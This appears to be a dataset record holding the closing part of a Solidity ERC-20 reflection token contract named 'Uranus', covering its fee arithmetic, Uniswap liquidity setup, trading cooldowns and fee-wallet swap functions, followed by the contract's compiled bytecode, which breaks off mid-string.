function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 2000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (90 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130d9565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf7565b61054a565b6040516101a491906130be565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bb565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba8565b610579565b60405161020c91906130be565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bb565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613330565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c85565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c33565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1a565b61084a565b6040516102f191906132bb565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1a565b610913565b60405161034591906132bb565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff0565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130d9565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf7565b610b1d565b6040516103ef91906130be565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130be565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1a565b610b52565b60405161045791906132bb565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bb565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6c565b610d19565b6040516104ed91906132bb565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600681526020017f5572616e75730000000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4c9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319b565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bb565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fb565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130be565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613481565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db0565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eab565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f414e5553f09faa90000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613481565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f19565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fb565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550605a42610cdf91906133a0565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fb565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b43565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b43565b6040518363ffffffff1660e01b815260040161104892919061300b565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b43565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305d565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612cae565b505050671bc16d674ec8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613034565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5c565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fb565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321b565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8957601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f55760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329b565b60405180910390fd5b6002600981905550600a8081905550601460159054906101000a900460ff161561198b5742601554111561198a576010548111156118b257600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d9061315b565b60405180910390fd5b602d4261194391906133a0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f457600f426119ad91906133a0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0030610913565b9050601460169054906101000a900460ff16158015611a6d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a83575060148054906101000a900460ff165b15611c8757601460159054906101000a900460ff1615611b225742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b18906131bb565b60405180910390fd5b5b601460179054906101000a900460ff1615611bac576000611b4e600c548461221390919063ffffffff16565b9050611b9f611b9084611b82601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228e90919063ffffffff16565b826122ec90919063ffffffff16565b9050611baa81612336565b505b6000811115611c6d57611c076064611bf9600b54611beb601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221390919063ffffffff16565b6122ec90919063ffffffff16565b811115611c6357611c606064611c52600b54611c44601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221390919063ffffffff16565b6122ec90919063ffffffff16565b90505b611c6c81611f19565b5b60004790506000811115611c8557611c8447611db0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d305750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3a57600090505b611d46848484846123ed565b50505050565b6000838311158290611d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8b91906130d9565b60405180910390fd5b5060008385611da39190613481565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e006002846122ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2b573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7c6002846122ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea7573d6000803e3d6000fd5b5050565b6000600754821115611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee99061311b565b60405180910390fd5b6000611efc61241a565b9050611f1181846122ec90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa55781602001602082028036833780820191505090505b5090503081600081518110611fe3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208557600080fd5b505afa158015612099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120bd9190612b43565b816001815181106120f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215e30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c29594939291906132d6565b600060405180830381600087803b1580156121dc57600080fd5b505af11580156121f0573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122265760009050612288565b600082846122349190613427565b905082848261224391906133f6565b14612283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227a906131db565b60405180910390fd5b809150505b92915050565b600080828461229d91906133a0565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d99061317b565b60405180910390fd5b8091505092915050565b600061232e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612445565b905092915050565b6000600a9050600a82101561234e57600a9050612365565b602882111561236057601e9050612364565b8190505b5b600061237b6002836124a890919063ffffffff16565b1461238f57808061238b9061354f565b9150505b6123b6600a6123a860028461221390919063ffffffff16565b6122ec90919063ffffffff16565b6009819055506123e3600a6123d5600a8461221390919063ffffffff16565b6122ec90919063ffffffff16565b600a819055505050565b806123fb576123fa6124f2565b5b612406848484612535565b8061241457612413612700565b5b50505050565b6000806000612427612714565b9150915061243e81836122ec90919063ffffffff16565b9250505090565b6000808311829061248c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248391906130d9565b60405180910390fd5b506000838561249b91906133f6565b9050809150509392505050565b60006124ea83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612776565b905092915050565b600060095414801561250657506000600a54145b1561251057612533565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612547876127d4565b9550955095509550955095506125a586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268681612886565b6126908483612943565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ed91906132bb565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274a683635c9adc5dea000006007546122ec90919063ffffffff16565b82101561276957600754683635c9adc5dea00000935093505050612772565b81819350935050505b9091565b60008083141582906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b591906130d9565b60405180910390fd5b5082846127cb9190613598565b90509392505050565b60008060008060008060008060006127f18a600954600a5461297d565b925092509250600061280161241a565b905060008060006128148e878787612a13565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4c565b905092915050565b600061289061241a565b905060006128a7828461221390919063ffffffff16565b90506128fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129588260075461283c90919063ffffffff16565b6007819055506129738160085461228e90919063ffffffff16565b6008819055505050565b6000806000806129a9606461299b888a61221390919063ffffffff16565b6122ec90919063ffffffff16565b905060006129d360646129c5888b61221390919063ffffffff16565b6122ec90919063ffffffff16565b905060006129fc826129ee858c61283c90919063ffffffff16565b61283c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2c858961221390919063ffffffff16565b90506000612a43868961221390919063ffffffff16565b90506000612a5a878961221390919063ffffffff16565b90506000612a8382612a75858761283c90919063ffffffff16565b61283c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aab816139cc565b92915050565b600081519050612ac0816139cc565b92915050565b600081359050612ad5816139e3565b92915050565b600081519050612aea816139e3565b92915050565b600081359050612aff816139fa565b92915050565b600081519050612b14816139fa565b92915050565b600060208284031215612b2c57600080fd5b6000612b3a84828501612a9c565b91505092915050565b600060208284031215612b5557600080fd5b6000612b6384828501612ab1565b91505092915050565b60008060408385031215612b7f57600080fd5b6000612b8d85828601612a9c565b9250506020612b9e85828601612a9c565b9150509250929050565b600080600060608486031215612bbd57600080fd5b6000612bcb86828701612a9c565b9350506020612bdc86828701612a9c565b9250506040612bed86828701612af0565b9150509250925092565b60008060408385031215612c0a57600080fd5b6000612c1885828601612a9c565b9250506020612c2985828601612af0565b9150509250929050565b600060208284031215612c4557600080fd5b6000612c5384828501612ac6565b91505092915050565b600060208284031215612c6e57600080fd5b6000612c7c84828501612adb565b91505092915050565b600060208284031215612c9757600080fd5b6000612ca584828501612af0565b91505092915050565b600080600060608486031215612cc357600080fd5b6000612cd186828701612b05565b9350506020612ce286828701612b05565b9250506040612cf386828701612b05565b9150509250925092565b6000612d098383612d15565b60208301905092915050565b612d1e816134b5565b82525050565b612d2d816134b5565b82525050565b6000612d3e8261335b565b612d48818561337e565b9350612d538361334b565b8060005b83811015612d84578151612d6b8882612cfd565b9750612d7683613371565b925050600181019050612d57565b5085935050505092915050565b612d9a816134c7565b82525050565b612da98161350a565b82525050565b6000612dba82613366565b612dc4818561338f565b9350612dd481856020860161351c565b612ddd81613627565b840191505092915050565b6000612df560238361338f565b9150612e0082613638565b604082019050919050565b6000612e18602a8361338f565b9150612e2382613687565b604082019050919050565b6000612e3b60228361338f565b9150612e46826136d6565b604082019050919050565b6000612e5e60228361338f565b9150612e6982613725565b604082019050919050565b6000612e81601b8361338f565b9150612e8c82613774565b602082019050919050565b6000612ea460158361338f565b9150612eaf8261379d565b602082019050919050565b6000612ec760238361338f565b9150612ed2826137c6565b604082019050919050565b6000612eea60218361338f565b9150612ef582613815565b604082019050919050565b6000612f0d60208361338f565b9150612f1882613864565b602082019050919050565b6000612f3060298361338f565b9150612f3b8261388d565b604082019050919050565b6000612f5360258361338f565b9150612f5e826138dc565b604082019050919050565b6000612f7660248361338f565b9150612f818261392b565b604082019050919050565b6000612f9960178361338f565b9150612fa48261397a565b602082019050919050565b6000612fbc60188361338f565b9150612fc7826139a3565b602082019050919050565b612fdb816134f3565b82525050565b612fea816134fd565b82525050565b60006020820190506130056000830184612d24565b92915050565b60006040820190506130206000830185612d24565b61302d6020830184612d24565b9392505050565b60006040820190506130496000830185612d24565b6130566020830184612fd2565b9392505050565b600060c0820190506130726000830189612d24565b61307f6020830188612fd2565b61308c6040830187612da0565b6130996060830186612da0565b6130a66080830185612d24565b6130b360a0830184612fd2565b979650505050505050565b60006020820190506130d36000830184612d91565b92915050565b600060208201905081810360008301526130f38184612daf565b905092915050565b6000602082019050818103600083015261311481612de8565b9050919050565b6000602082019050818103600083015261313481612e0b565b9050919050565b6000602082019050818103600083015261315481612e2e565b9050919050565b6000602082019050818103600083015261317481612e51565b9050919050565b6000602082019050818103600083015261319481612e74565b9050919050565b600060208201905081810360008301526131b481612e97565b9050919050565b600060208201905081810360008301526131d481612eba565b9050919050565b600060208201905081810360008301526131f481612edd565b9050919050565b6000602082019050818103600083015261321481612f00565b9050919050565b6000602082019050818103600083015261323481612f23565b9050919050565b6000602082019050818103600083015261325481612f46565b9050919050565b6000602082019050818103600083015261327481612f69565b9050919050565b6000602082019050818103600083015261329481612f8c565b9050919050565b600060208201905081810360008301526132b481612faf565b9050919050565b60006020820190506132d06000830184612fd2565b92915050565b600060a0820190506132eb6000830188612fd2565b6132f86020830187612da0565b818103604083015261330a8186612d33565b90506133196060830185612d24565b6133266080830184612fd2565b9695505050505050565b60006020820190506133456000830184612fe1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ab826134f3565b91506133b6836134f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133eb576133ea6135c9565b5b828201905092915050565b6000613401826134f3565b915061340c836134f3565b92508261341c5761341b6135f8565b5b828204905092915050565b6000613432826134f3565b915061343d836134f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613476576134756135c9565b5b828202905092915050565b600061348c826134f3565b9150613497836134f3565b9250828210156134aa576134a96135c9565b5b828203905092915050565b60006134c0826134d3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613515826134f3565b9050919050565b60005b8381101561353a57808201518184015260208101905061351f565b83811115613549576000848401525b50505050565b600061355a826134f3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358d5761358c6135c9565b5b600182019050919050565b60006135a3826134f3565b91506135ae836134f3565b9250826135be576135bd6135f8565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206